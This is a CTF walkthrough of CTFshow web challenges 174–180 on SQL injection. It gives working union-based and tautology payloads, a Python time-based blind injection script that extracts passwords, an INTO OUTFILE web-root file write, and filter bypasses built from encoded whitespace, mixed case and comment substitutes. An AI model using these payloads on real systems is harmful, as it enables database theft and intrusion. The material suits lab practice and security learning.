CTFshow——web174-180(sql注入)
web174
这是用正则匹配检查是否有flag
先闭合
order by爆列数
爆数据库名 和 表名
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
有三个表名 一个一个试一下
虽然过滤了flag 但是没事 把他的password全显示出来就行
web175
正则匹配中\xnn代表的是ascii码为十六进制nn的字符串,本关过滤掉了ascii从0到127的字符
所以就不能用回显来做题
f1
用时间注入脚本
import requests
url = "http://c522efea-d585-469c-b1c9-3270d9055620.challenge.ctf.show/api/v5.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'1=if(ascii(substr(database(),{i},1))>{mid},sleep(2),0)+--+'
# payload = f'1=if(ascii(substr((select table_name from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(2),0)+--+'
# payload = f'1=if(ascii(substr((select column_name from information_schema.columns where table_name='ctfshow_user5'),{i},1))>{mid},sleep(2),0)+--+'
payload = f'1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0)+--+'
try:
r = requests.get(url + payload, timeout=0.5)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
注意这里的url路径!!!!!
f2 文件写入
写入文件的前提是知道网站初始的目录,一般来说都是/var/www/html/
构造payload
-1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/flag.txt' --+
然后直接访问flag.txt
web176
先爆出有三列
然后联合注入时发现select被注释掉 直接大小写绕过
-1' union Select password,2,3 from ctfshow_user--+
web177
这题过滤了空格 可以用
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
/**/或者括号
来替换空格
注释符的“-- (空格)”也被过滤了 可以用%23(#)替换
构造payload
'/**/Union/**/Select/**/1,2,group_concat(password)/**/from/**/ctfshow_user/**/where/**/username='flag'%23
拿到flag
也可以直接用万能钥匙
'/**/or/**/1=1%23
直接拿到flag
web178
过滤了/**/ 但是能用%0a
'%0aor%0a1=1%23
web179
过滤了很多字符但%0c还能用
'%0cor%0c1=1%23
web180
可以看到它这里屏蔽了注释%23
但是这里的%0c还能照常使用
利用‘1’=‘1闭合号来注释掉后面的语句
构造payload
'%0cUnion%0cSelect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'or'1'='
也可以构造巧妙的万能语句
-1'or(id=26)and'1
前面我们已经知道表的结构是id,username,password
,所以我们通过查id的方式去找flag,而用运算符中,and
的优先级比or
高,这句话放到查询语句中就变成了
id='-1'or(id=26)and'1' limit 1;
也就是
(id='-1') or ((id=26) and '1') limit 1;
前面为0,后面为1,所以整个条件为1